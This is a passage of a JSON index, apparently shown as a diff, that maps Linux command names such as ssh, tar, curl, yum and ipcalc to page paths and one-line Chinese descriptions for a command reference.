的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"sshpass":{"n":"sshpass","p":"/sshpass","d":"免交互 SSH 登录工具。"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将保存在 PCAP 文件包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file +{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"可解压缩.bz2格式的压缩文件。 "},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"不解压，直接查看指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"column":{"n":"column","p":"/column","d":"按列格式化输出文件"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"createrepo":{"n":"createrepo","p":"/createrepo","d":"创建YUM仓库"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dc":{"n":"dc","p":"/dc","d":"任意精度计算器"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"docker":{"n":"docker","p":"/docker","d":"容器化技术，可以将应用程序及其依赖项打包到一个可移植的容器中，使其可以在不同的环境中运行"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"fsck（英文全拼：file system check）命令检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getent":{"n":"getent","p":"/getent","d":"查询 DNS 名称服务器中的命名空间"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmems":{"n":"groupmems","p":"/groupmems","d":"管理用户主要组的成员"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"grub2-mkconfig":{"n":"grub2-mkconfig","p":"/grub2-mkconfig","d":"生成 grub.cfg 配置文件。"},"grub2-set-default":{"n":"grub2-set-default","p":"/grub2-set-default","d":"设置系统默认的启动内核"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hcitool":{"n":"hcitool","p":"/hcitool","d":"hcitool是一个Linux命令行工具，用于管理和调试蓝牙设备。它可以用于扫描周围的蓝牙设备、连接到蓝牙设备发送命令和数据包等。"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"监视系统输入输出设备和CPU的使用情况"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d